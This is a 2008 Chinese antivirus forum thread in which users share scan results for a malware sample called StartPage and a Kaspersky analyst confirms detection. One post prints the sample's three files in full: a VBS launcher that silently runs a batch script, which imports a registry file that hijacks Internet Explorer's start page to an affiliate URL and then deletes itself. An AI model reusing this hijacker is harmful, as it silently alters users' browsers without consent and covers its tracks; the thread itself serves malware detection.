StartPage

显示全部楼层 · 发表于 2008-9-12 18:20:02

http://bbs.kafan.cn/thread-325989-1-1.html
这个里面的

显示全部楼层 · 发表于 2008-9-12 18:21:25

Begin scan in 'D:\Virus\成功案例1文件............................................................rar'
D:\Virus\成功案例1文件............................................................rar
[DETECTION] Contains recognition pattern of the DR/Pacex.AK dropper

显示全部楼层 · 发表于 2008-9-12 18:39:23

下载试试

显示全部楼层 · 发表于 2008-9-12 18:43:52

金山 0

显示全部楼层 · 发表于 2008-9-12 19:06:45

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command]
@="\"C:\\Program Files\\Internet Explorer\\iexplore.exe\" http://www.baidu.com/index.php?tn=yuzhuoyuan_pg"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Page_URL"="http://www.baidu.com/index.php?tn=yuzhuoyuan_pg"
"Start Page"="http://www.baidu.com/index.php?tn=yuzhuoyuan_pg"

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Start Page"="http://www.baidu.com/index.php?tn=yuzhuoyuan_pg"
"Default_Page_URL"="http://www.baidu.com/index.php?tn=yuzhuoyuan_pg"

[ 本帖最后由 ahzsmzkf 于 2008-9-12 19:08 编辑 ]

显示全部楼层 · 发表于 2008-9-12 19:57:17

McAfee miss

显示全部楼层 · 发表于 2008-9-12 20:08:08

卡 8 扫描过，里面三个文件，内容：

系统配置.bat

regedit /s 系统配置.reg
del /q 系统配置.vbs
del /q 系统配置.reg
del %0

系统配置.reg

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command]
@="\"C:\\Program Files\\Internet Explorer\\iexplore.exe\" http://www.baidu.com/index.php?tn=yuzhuoyuan_pg"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Page_URL"="http://www.baidu.com/index.php?tn=yuzhuoyuan_pg"
"Start Page"="http://www.baidu.com/index.php?tn=yuzhuoyuan_pg"

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Start Page"="http://www.baidu.com/index.php?tn=yuzhuoyuan_pg"
"Default_Page_URL"="http://www.baidu.com/index.php?tn=yuzhuoyuan_pg"

系统配置.vbs

DIM objShell
set objShell=wscript.createObject("wscript.shell")
iReturn=objShell.Run("cmd.exe /C .\系统配置.bat", 0, TRUE)

显示全部楼层 · 发表于 2008-9-12 20:29:34

MISS

显示全部楼层 · 发表于 2008-9-13 00:12:18

Kaspersky miss
TO KL

显示全部楼层 · 发表于 2008-9-13 21:20:55

Hello,

####.bat_, ####.vbs_

No malicious code were found in these files.

####.reg, ####1##............................................................exe_ - Trojan.WinREG.StartPage.u

New malicious software was found in these files. Detection will be included in the next update. Thank you for your help.

Please quote all when answering.

--
Best regards, Vyacheslav Zakorzhevsky
Virus analyst, Kaspersky Lab.
e-mail: newvirus@kaspersky.com
http://www.kaspersky.com/

http://www.kaspersky.com/virusscanner - free online virus scanner.
http://www.kaspersky.com/helpdesk.html - technical support.

> Attachment: ????1??............................................................rar

[病毒样本] StartPage

F-Prot 4.4.4